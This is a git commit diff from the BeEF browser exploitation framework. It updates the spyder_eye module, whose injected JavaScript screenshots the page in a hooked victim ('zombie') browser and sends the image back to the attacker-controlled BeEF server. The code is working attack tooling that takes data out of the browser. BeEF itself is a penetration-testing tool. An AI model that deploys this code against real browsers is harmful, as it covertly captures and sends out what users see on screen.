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Update html2canvas component in the spyder_eye module from 0.4 to 0.5.0-alpha1 which resulted in much more detailed screenshot, as can be seen in: http://imgur.com/a/Sm9OG . Also, armored a bit the code running in the zombie' browser. Branch is called 'get_snapshot' as I didn't know that there is already a module utilizing terrific html2canvas.

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This commit is contained in:
mgeeky
2016-04-14 15:31:08 +02:00
parent 9ebb5abe18
commit d58f979395
3 changed files with 3402 additions and 2858 deletions
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35
modules/browser/spyder_eye/command.js
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@@ -6,17 +6,30 @@
beef.execute(function() {
var script = document.createElement( 'script' );
script.type = 'text/javascript';
script.src = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/html2canvas.js';
$j("body").append( script );
takeit = function() {
try {
html2canvas(document.body).then(function(canvas) {
var d = canvas.toDataURL('image/png');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'image=' + d );
ret = true;
alert('Did it.');
});
}
catch (e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Obtaining snapshot failed: ' + e.message);
alert('FAILED.');
}
};
html2canvas(document.body, {
onrendered: function(canvas) {
var img = canvas.toDataURL("image/png");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "image="+img);
//beef.net.send("<%= @command_url %>", <%= @command_id %>, "image=All done");
}
});
if (typeof html2canvas == "undefined") {
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/h2c.js';
$j("body").append(script);
setTimeout(takeit, 400);
}
else {
takeit();
}
});

6217
modules/browser/spyder_eye/html2canvas.js
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File diff suppressed because it is too large Load Diff

8
modules/browser/spyder_eye/module.rb
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@@ -7,7 +7,7 @@ class Spyder_eye < BeEF::Core::Command
require 'base64'
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/spyder_eye/html2canvas.js', '/html2canvas', 'js')
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/spyder_eye/html2canvas.js', '/h2c', 'js')
end
def post_execute
@@ -28,8 +28,6 @@ class Spyder_eye < BeEF::Core::Command
print_error("Could not write screenshot file '#{filename}' - Exception: #{e.message}")
end
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/html2canvas.js')
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/h2c.js')
end
end
end